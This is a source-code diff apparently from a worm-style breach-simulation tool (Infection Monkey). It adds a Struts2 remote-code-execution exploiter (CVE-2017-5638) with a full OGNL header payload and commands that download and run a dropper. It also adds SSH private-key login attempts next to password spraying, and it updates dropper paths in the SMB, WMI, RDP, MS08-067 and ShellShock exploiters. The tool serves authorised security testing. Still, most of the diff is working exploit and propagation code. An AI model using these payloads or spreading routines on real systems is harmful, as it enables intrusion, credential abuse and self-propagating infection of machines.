"finger_classes": [
|
||||||
"SSHFinger",
|
"SSHFinger",
|
||||||
"PingScanner",
|
"PingScanner",
|
||||||
"HTTPFinger",
|
"HTTPFinger",
|
||||||
"SMBFinger",
|
"SMBFinger",
|
||||||
"MySQLFinger"
|
"MySQLFinger",
|
||||||
"ElasticFinger",
|
"MSSQLFingerprint",
|
||||||
|
"ElasticFinger"
|
||||||
],
|
],
|
||||||
"max_iterations": 3,
|
"max_iterations": 3,
|
||||||
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
||||||
|
@ -67,6 +69,7 @@
|
||||||
"exploit_password_list": [],
|
"exploit_password_list": [],
|
||||||
"exploit_lm_hash_list": [],
|
"exploit_lm_hash_list": [],
|
||||||
"exploit_ntlm_hash_list": [],
|
"exploit_ntlm_hash_list": [],
|
||||||
|
"exploit_ssh_keys": [],
|
||||||
"sambacry_trigger_timeout": 5,
|
"sambacry_trigger_timeout": 5,
|
||||||
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
|
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
|
||||||
"sambacry_shares_not_to_check": ["IPC$", "print$"],
|
"sambacry_shares_not_to_check": ["IPC$", "print$"],
|
||||||
|
|
|
@ -24,9 +24,9 @@ class HostExploiter(object):
|
||||||
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
|
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
|
||||||
'info': self._exploit_info, 'attempts': self._exploit_attempts})
|
'info': self._exploit_info, 'attempts': self._exploit_attempts})
|
||||||
|
|
||||||
def report_login_attempt(self, result, user, password, lm_hash='', ntlm_hash=''):
|
def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''):
|
||||||
self._exploit_attempts.append({'result': result, 'user': user, 'password': password,
|
self._exploit_attempts.append({'result': result, 'user': user, 'password': password,
|
||||||
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash})
|
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key})
|
||||||
|
|
||||||
@abstractmethod
|
@abstractmethod
|
||||||
def exploit_host(self):
|
def exploit_host(self):
|
||||||
|
@ -41,3 +41,4 @@ from sshexec import SSHExploiter
|
||||||
from shellshock import ShellShockExploiter
|
from shellshock import ShellShockExploiter
|
||||||
from sambacry import SambaCryExploiter
|
from sambacry import SambaCryExploiter
|
||||||
from elasticgroovy import ElasticGroovyExploiter
|
from elasticgroovy import ElasticGroovyExploiter
|
||||||
|
from struts2 import Struts2Exploiter
|
||||||
|
|
|
@ -10,7 +10,7 @@ import logging
|
||||||
import requests
|
import requests
|
||||||
|
|
||||||
from exploit import HostExploiter
|
from exploit import HostExploiter
|
||||||
from model import MONKEY_ARG
|
from model import DROPPER_ARG
|
||||||
from network.elasticfinger import ES_SERVICE, ES_PORT
|
from network.elasticfinger import ES_SERVICE, ES_PORT
|
||||||
from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
|
from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
|
||||||
|
|
||||||
|
@ -114,12 +114,14 @@ class ElasticGroovyExploiter(HostExploiter):
|
||||||
"""
|
"""
|
||||||
Runs the monkey
|
Runs the monkey
|
||||||
"""
|
"""
|
||||||
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
|
|
||||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
|
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
|
||||||
|
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, location=dropper_target_path_linux)
|
||||||
|
cmdline += ' & '
|
||||||
self.run_shell_command(cmdline)
|
self.run_shell_command(cmdline)
|
||||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||||
self._config.dropper_target_path_linux, self.host, cmdline)
|
self._config.dropper_target_path_linux, self.host, cmdline)
|
||||||
if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
|
if not (self.check_if_remote_file_exists_linux(self._config.dropper_log_path_linux)):
|
||||||
LOG.info("Log file does not exist, monkey might not have run")
|
LOG.info("Log file does not exist, monkey might not have run")
|
||||||
|
|
||||||
def download_file_in_linux(self, src_path, target_path):
|
def download_file_in_linux(self, src_path, target_path):
|
||||||
|
|
|
@ -27,7 +27,7 @@ LOG = getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
def twisted_log_func(*message, **kw):
|
def twisted_log_func(*message, **kw):
|
||||||
if kw.has_key('isError') and kw['isError']:
|
if kw.get('isError'):
|
||||||
error_msg = 'Unknown'
|
error_msg = 'Unknown'
|
||||||
if 'failure' in kw:
|
if 'failure' in kw:
|
||||||
error_msg = kw['failure'].getErrorMessage()
|
error_msg = kw['failure'].getErrorMessage()
|
||||||
|
@ -278,11 +278,11 @@ class RdpExploiter(HostExploiter):
|
||||||
|
|
||||||
if self._config.rdp_use_vbs_download:
|
if self._config.rdp_use_vbs_download:
|
||||||
command = RDP_CMDLINE_HTTP_VBS % {
|
command = RDP_CMDLINE_HTTP_VBS % {
|
||||||
'monkey_path': self._config.dropper_target_path,
|
'monkey_path': self._config.dropper_target_path_win_32,
|
||||||
'http_path': http_path, 'parameters': cmdline}
|
'http_path': http_path, 'parameters': cmdline}
|
||||||
else:
|
else:
|
||||||
command = RDP_CMDLINE_HTTP_BITS % {
|
command = RDP_CMDLINE_HTTP_BITS % {
|
||||||
'monkey_path': self._config.dropper_target_path,
|
'monkey_path': self._config.dropper_target_path_win_32,
|
||||||
'http_path': http_path, 'parameters': cmdline}
|
'http_path': http_path, 'parameters': cmdline}
|
||||||
|
|
||||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||||
|
|
|
@ -8,7 +8,7 @@ import requests
|
||||||
|
|
||||||
from exploit import HostExploiter
|
from exploit import HostExploiter
|
||||||
from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
|
from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
|
||||||
from model import MONKEY_ARG
|
from model import DROPPER_ARG
|
||||||
from shellshock_resources import CGI_FILES
|
from shellshock_resources import CGI_FILES
|
||||||
from tools import build_monkey_commandline
|
from tools import build_monkey_commandline
|
||||||
|
|
||||||
|
@ -133,7 +133,7 @@ class ShellShockExploiter(HostExploiter):
|
||||||
self.attack_page(url, header, run_path)
|
self.attack_page(url, header, run_path)
|
||||||
|
|
||||||
# run the monkey
|
# run the monkey
|
||||||
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
|
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
|
||||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
|
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
|
||||||
run_path = exploit + cmdline
|
run_path = exploit + cmdline
|
||||||
self.attack_page(url, header, run_path)
|
self.attack_page(url, header, run_path)
|
||||||
|
|
|
@ -57,7 +57,7 @@ class SmbExploiter(HostExploiter):
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(self.host,
|
remote_full_path = SmbTools.copy_file(self.host,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path,
|
self._config.dropper_target_path_win_32,
|
||||||
user,
|
user,
|
||||||
password,
|
password,
|
||||||
lm_hash,
|
lm_hash,
|
||||||
|
@ -85,9 +85,9 @@ class SmbExploiter(HostExploiter):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
||||||
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
|
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
|
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
|
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
|
|
@ -2,6 +2,7 @@ import logging
|
||||||
import time
|
import time
|
||||||
|
|
||||||
import paramiko
|
import paramiko
|
||||||
|
import StringIO
|
||||||
|
|
||||||
import monkeyfs
|
import monkeyfs
|
||||||
from exploit import HostExploiter
|
from exploit import HostExploiter
|
||||||
|
@ -31,6 +32,65 @@ class SSHExploiter(HostExploiter):
|
||||||
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
||||||
self._update_timestamp = time.time()
|
self._update_timestamp = time.time()
|
||||||
|
|
||||||
|
def exploit_with_ssh_keys(self, port, ssh):
|
||||||
|
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs()
|
||||||
|
|
||||||
|
exploited = False
|
||||||
|
|
||||||
|
for user, ssh_key_pair in user_ssh_key_pairs:
|
||||||
|
# Creating file-like private key for paramiko
|
||||||
|
pkey = StringIO.StringIO(ssh_key_pair['private_key'])
|
||||||
|
ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
|
||||||
|
try:
|
||||||
|
pkey = paramiko.RSAKey.from_private_key(pkey)
|
||||||
|
except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
|
||||||
|
LOG.error("Failed reading ssh key")
|
||||||
|
try:
|
||||||
|
ssh.connect(self.host.ip_addr,
|
||||||
|
username=user,
|
||||||
|
pkey=pkey,
|
||||||
|
port=port,
|
||||||
|
timeout=None)
|
||||||
|
LOG.debug("Successfully logged in %s using %s users private key",
|
||||||
|
self.host, ssh_string)
|
||||||
|
exploited = True
|
||||||
|
self.report_login_attempt(True, user, ssh_key=ssh_string)
|
||||||
|
break
|
||||||
|
except Exception as exc:
|
||||||
|
LOG.debug("Error logging into victim %r with %s"
|
||||||
|
" private key", self.host,
|
||||||
|
ssh_string)
|
||||||
|
self.report_login_attempt(False, user, ssh_key=ssh_string)
|
||||||
|
continue
|
||||||
|
return exploited
|
||||||
|
|
||||||
|
def exploit_with_login_creds(self, port, ssh):
|
||||||
|
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||||
|
|
||||||
|
exploited = False
|
||||||
|
|
||||||
|
for user, curpass in user_password_pairs:
|
||||||
|
try:
|
||||||
|
ssh.connect(self.host.ip_addr,
|
||||||
|
username=user,
|
||||||
|
password=curpass,
|
||||||
|
port=port,
|
||||||
|
timeout=None)
|
||||||
|
|
||||||
|
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
|
||||||
|
self.host, user, curpass)
|
||||||
|
exploited = True
|
||||||
|
self.report_login_attempt(True, user, curpass)
|
||||||
|
break
|
||||||
|
|
||||||
|
except Exception as exc:
|
||||||
|
LOG.debug("Error logging into victim %r with user"
|
||||||
|
" %s and password '%s': (%s)", self.host,
|
||||||
|
user, curpass, exc)
|
||||||
|
self.report_login_attempt(False, user, curpass)
|
||||||
|
continue
|
||||||
|
return exploited
|
||||||
|
|
||||||
def exploit_host(self):
|
def exploit_host(self):
|
||||||
ssh = paramiko.SSHClient()
|
ssh = paramiko.SSHClient()
|
||||||
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
||||||
|
@ -46,29 +106,10 @@ class SSHExploiter(HostExploiter):
|
||||||
LOG.info("SSH port is closed on %r, skipping", self.host)
|
LOG.info("SSH port is closed on %r, skipping", self.host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
#Check for possible ssh exploits
|
||||||
|
exploited = self.exploit_with_ssh_keys(port, ssh)
|
||||||
exploited = False
|
if not exploited:
|
||||||
for user, curpass in user_password_pairs:
|
exploited = self.exploit_with_login_creds(port, ssh)
|
||||||
try:
|
|
||||||
ssh.connect(self.host.ip_addr,
|
|
||||||
username=user,
|
|
||||||
password=curpass,
|
|
||||||
port=port,
|
|
||||||
timeout=None)
|
|
||||||
|
|
||||||
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
|
|
||||||
self.host, user, curpass)
|
|
||||||
self.report_login_attempt(True, user, curpass)
|
|
||||||
exploited = True
|
|
||||||
break
|
|
||||||
|
|
||||||
except Exception as exc:
|
|
||||||
LOG.debug("Error logging into victim %r with user"
|
|
||||||
" %s and password '%s': (%s)", self.host,
|
|
||||||
user, curpass, exc)
|
|
||||||
self.report_login_attempt(False, user, curpass)
|
|
||||||
continue
|
|
||||||
|
|
||||||
if not exploited:
|
if not exploited:
|
||||||
LOG.debug("Exploiter SSHExploiter is giving up...")
|
LOG.debug("Exploiter SSHExploiter is giving up...")
|
||||||
|
|
|
@ -0,0 +1,246 @@
|
||||||
|
"""
|
||||||
|
Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
|
||||||
|
code used is from https://www.exploit-db.com/exploits/41570/
|
||||||
|
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
|
||||||
|
"""
|
||||||
|
import urllib2
|
||||||
|
import httplib
|
||||||
|
import unicodedata
|
||||||
|
import re
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from exploit import HostExploiter
|
||||||
|
from exploit.tools import get_target_monkey, get_monkey_depth
|
||||||
|
from tools import build_monkey_commandline, HTTPTools
|
||||||
|
from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \
|
||||||
|
DROPPER_ARG
|
||||||
|
|
||||||
|
__author__ = "VakarisZ"
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
DOWNLOAD_TIMEOUT = 300
|
||||||
|
|
||||||
|
class Struts2Exploiter(HostExploiter):
|
||||||
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||||
|
|
||||||
|
def __init__(self, host):
|
||||||
|
super(Struts2Exploiter, self).__init__(host)
|
||||||
|
self._config = __import__('config').WormConfiguration
|
||||||
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||||
|
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
||||||
|
|
||||||
|
def exploit_host(self):
|
||||||
|
dropper_path_linux = self._config.dropper_target_path_linux
|
||||||
|
dropper_path_win_32 = self._config.dropper_target_path_win_32
|
||||||
|
dropper_path_win_64 = self._config.dropper_target_path_win_64
|
||||||
|
|
||||||
|
ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"])
|
||||||
|
|
||||||
|
if not ports:
|
||||||
|
LOG.info("All web ports are closed on %r, skipping", self.host)
|
||||||
|
return False
|
||||||
|
|
||||||
|
for port in ports:
|
||||||
|
if port[1]:
|
||||||
|
current_host = "https://%s:%s" % (self.host.ip_addr, port[0])
|
||||||
|
else:
|
||||||
|
current_host = "http://%s:%s" % (self.host.ip_addr, port[0])
|
||||||
|
# Get full URL
|
||||||
|
url = self.get_redirected(current_host)
|
||||||
|
LOG.info("Trying to exploit with struts2")
|
||||||
|
# Check if host is vulnerable and get host os architecture
|
||||||
|
if 'linux' in self.host.os['type']:
|
||||||
|
return self.exploit_linux(url, dropper_path_linux)
|
||||||
|
else:
|
||||||
|
return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
|
||||||
|
|
||||||
|
def check_remote_file(self, host, path):
|
||||||
|
command = EXISTS % path
|
||||||
|
resp = self.exploit(host, command)
|
||||||
|
if 'No such file' in resp:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||||
|
return True
|
||||||
|
|
||||||
|
def exploit_linux(self, url, dropper_path):
|
||||||
|
host_arch = Struts2Exploiter.check_exploit_linux(url)
|
||||||
|
if host_arch:
|
||||||
|
self.host.os['machine'] = host_arch
|
||||||
|
if url and host_arch:
|
||||||
|
LOG.info("Host is exploitable with struts2 RCE vulnerability")
|
||||||
|
# If monkey already exists and option not to exploit in that case is selected
|
||||||
|
if self.skip_exist and self.check_remote_file(url, dropper_path):
|
||||||
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||||
|
return True
|
||||||
|
|
||||||
|
src_path = get_target_monkey(self.host)
|
||||||
|
if not src_path:
|
||||||
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
|
return False
|
||||||
|
# create server for http download.
|
||||||
|
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||||
|
if not http_path:
|
||||||
|
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
|
||||||
|
return False
|
||||||
|
LOG.info("Started http server on %s", http_path)
|
||||||
|
|
||||||
|
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
|
||||||
|
|
||||||
|
command = WGET_HTTP % {'monkey_path': dropper_path,
|
||||||
|
'http_path': http_path, 'parameters': cmdline}
|
||||||
|
|
||||||
|
self.exploit(url, command)
|
||||||
|
|
||||||
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
|
http_thread.stop()
|
||||||
|
LOG.info("Struts2 exploit attempt finished")
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def exploit_windows(self, url, dropper_paths):
|
||||||
|
"""
|
||||||
|
:param url: Where to send malicious request
|
||||||
|
:param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat
|
||||||
|
:return: Bool. Successfully exploited or not
|
||||||
|
"""
|
||||||
|
host_arch = Struts2Exploiter.check_exploit_windows(url)
|
||||||
|
if host_arch:
|
||||||
|
self.host.os['machine'] = host_arch
|
||||||
|
if url and host_arch:
|
||||||
|
LOG.info("Host is exploitable with struts2 RCE vulnerability")
|
||||||
|
# If monkey already exists and option not to exploit in that case is selected
|
||||||
|
if self.skip_exist:
|
||||||
|
for dropper_path in dropper_paths:
|
||||||
|
if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)):
|
||||||
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||||
|
return True
|
||||||
|
|
||||||
|
src_path = get_target_monkey(self.host)
|
||||||
|
if not src_path:
|
||||||
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
|
return False
|
||||||
|
# Select the dir and name for monkey on the host
|
||||||
|
if "windows-32" in src_path:
|
||||||
|
dropper_path = dropper_paths[0]
|
||||||
|
else:
|
||||||
|
dropper_path = dropper_paths[1]
|
||||||
|
# create server for http download.
|
||||||
|
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||||
|
if not http_path:
|
||||||
|
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
|
||||||
|
return False
|
||||||
|
LOG.info("Started http server on %s", http_path)
|
||||||
|
|
||||||
|
# We need to double escape backslashes. Once for payload, twice for command
|
||||||
|
cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))
|
||||||
|
|
||||||
|
command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
||||||
|
'http_path': http_path, 'parameters': cmdline}
|
||||||
|
|
||||||
|
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
||||||
|
'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG}
|
||||||
|
|
||||||
|
resp = self.exploit(url, command)
|
||||||
|
|
||||||
|
if 'powershell is not recognized' in resp:
|
||||||
|
self.exploit(url, backup_command)
|
||||||
|
|
||||||
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
|
http_thread.stop()
|
||||||
|
LOG.info("Struts2 exploit attempt finished")
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def check_exploit_windows(url):
|
||||||
|
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
|
||||||
|
if resp and ID_STRING in resp:
|
||||||
|
if "64-bit" in resp:
|
||||||
|
return "64"
|
||||||
|
else:
|
||||||
|
return "32"
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def check_exploit_linux(url):
|
||||||
|
resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
|
||||||
|
if resp and ID_STRING in resp:
|
||||||
|
# Pulls architecture string
|
||||||
|
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
|
||||||
|
arch = arch.group(1)
|
||||||
|
return arch
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_redirected(url):
|
||||||
|
# Returns false if url is not right
|
||||||
|
headers = {'User-Agent': 'Mozilla/5.0'}
|
||||||
|
request = urllib2.Request(url, headers=headers)
|
||||||
|
try:
|
||||||
|
return urllib2.urlopen(request).geturl()
|
||||||
|
except urllib2.URLError:
|
||||||
|
LOG.error("Can't reach struts2 server")
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def exploit(url, cmd):
|
||||||
|
"""
|
||||||
|
:param url: Full url to send request to
|
||||||
|
:param cmd: Code to try and execute on host
|
||||||
|
:return: response
|
||||||
|
"""
|
||||||
|
payload = "%%{(#_='multipart/form-data')." \
|
||||||
|
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
|
||||||
|
"(#_memberAccess?" \
|
||||||
|
"(#_memberAccess=#dm):" \
|
||||||
|
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
|
||||||
|
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
|
||||||
|
"(#ognlUtil.getExcludedPackageNames().clear())." \
|
||||||
|
"(#ognlUtil.getExcludedClasses().clear())." \
|
||||||
|
"(#context.setMemberAccess(#dm))))." \
|
||||||
|
"(#cmd='%s')." \
|
||||||
|
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
|
||||||
|
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
|
||||||
|
"(#p=new java.lang.ProcessBuilder(#cmds))." \
|
||||||
|
"(#p.redirectErrorStream(true)).(#process=#p.start())." \
|
||||||
|
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
|
||||||
|
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
|
||||||
|
"(#ros.flush())}" % cmd
|
||||||
|
# Turns payload ascii just for consistency
|
||||||
|
if isinstance(payload, unicode):
|
||||||
|
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
|
||||||
|
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
|
||||||
|
try:
|
||||||
|
request = urllib2.Request(url, headers=headers)
|
||||||
|
# Timeout added or else we would wait for all monkeys' output
|
||||||
|
page = urllib2.urlopen(request).read()
|
||||||
|
except AttributeError:
|
||||||
|
# If url does not exist
|
||||||
|
return False
|
||||||
|
except httplib.IncompleteRead as e:
|
||||||
|
page = e.partial
|
||||||
|
|
||||||
|
return page
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_exploitable_ports(host, port_list, names):
|
||||||
|
candidate_services = {}
|
||||||
|
for name in names:
|
||||||
|
chosen_services = {
|
||||||
|
service: host.services[service] for service in host.services if
|
||||||
|
('name' in host.services[service]) and (host.services[service]['name'] == name)
|
||||||
|
}
|
||||||
|
candidate_services.update(chosen_services)
|
||||||
|
|
||||||
|
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
|
||||||
|
'tcp-' + str(port) in candidate_services]
|
||||||
|
|
||||||
|
return valid_ports
|
|
@ -405,7 +405,7 @@ def get_interface_to_target(dst):
|
||||||
for d, m, gw, i, a in routes:
|
for d, m, gw, i, a in routes:
|
||||||
aa = atol(a)
|
aa = atol(a)
|
||||||
if aa == dst:
|
if aa == dst:
|
||||||
pathes.append((0xffffffffL, ("lo", a, "0.0.0.0")))
|
pathes.append((0xffffffff, ("lo", a, "0.0.0.0")))
|
||||||
if (dst & m) == (d & m):
|
if (dst & m) == (d & m):
|
||||||
pathes.append((m, (i, a, gw)))
|
pathes.append((m, (i, a, gw)))
|
||||||
if not pathes:
|
if not pathes:
|
||||||
|
|
|
@ -214,7 +214,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(self.host,
|
remote_full_path = SmbTools.copy_file(self.host,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path,
|
self._config.dropper_target_path_win_32,
|
||||||
self._config.ms08_067_remote_user_add,
|
self._config.ms08_067_remote_user_add,
|
||||||
self._config.ms08_067_remote_user_pass)
|
self._config.ms08_067_remote_user_pass)
|
||||||
|
|
||||||
|
@ -223,7 +223,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
for password in self._config.exploit_password_list:
|
for password in self._config.exploit_password_list:
|
||||||
remote_full_path = SmbTools.copy_file(self.host,
|
remote_full_path = SmbTools.copy_file(self.host,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path,
|
self._config.dropper_target_path_win_32,
|
||||||
"Administrator",
|
"Administrator",
|
||||||
password)
|
password)
|
||||||
if remote_full_path:
|
if remote_full_path:
|
||||||
|
@ -233,9 +233,9 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
||||||
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
|
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
|
|
@ -77,7 +77,7 @@ class WmiExploiter(HostExploiter):
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(self.host,
|
remote_full_path = SmbTools.copy_file(self.host,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path,
|
self._config.dropper_target_path_win_32,
|
||||||
user,
|
user,
|
||||||
password,
|
password,
|
||||||
lm_hash,
|
lm_hash,
|
||||||
|
@ -88,9 +88,9 @@ class WmiExploiter(HostExploiter):
|
||||||
wmi_connection.close()
|
wmi_connection.close()
|
||||||
return False
|
return False
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
elif remote_full_path.lower() != self._config.dropper_target_path.lower():
|
elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
||||||
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
|
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
|
|
@ -91,7 +91,12 @@ def main():
|
||||||
|
|
||||||
if WormConfiguration.use_file_logging:
|
if WormConfiguration.use_file_logging:
|
||||||
if os.path.exists(log_path):
|
if os.path.exists(log_path):
|
||||||
os.remove(log_path)
|
# If log exists but can't be removed it means other monkey is running. This usually happens on upgrade
|
||||||
|
# from 32bit to 64bit monkey on Windows. In all cases this shouldn't be a problem.
|
||||||
|
try:
|
||||||
|
os.remove(log_path)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
LOG_CONFIG['handlers']['file']['filename'] = log_path
|
LOG_CONFIG['handlers']['file']['filename'] = log_path
|
||||||
LOG_CONFIG['root']['handlers'].append('file')
|
LOG_CONFIG['root']['handlers'].append('file')
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -4,6 +4,7 @@ __author__ = 'itamar'
|
||||||
|
|
||||||
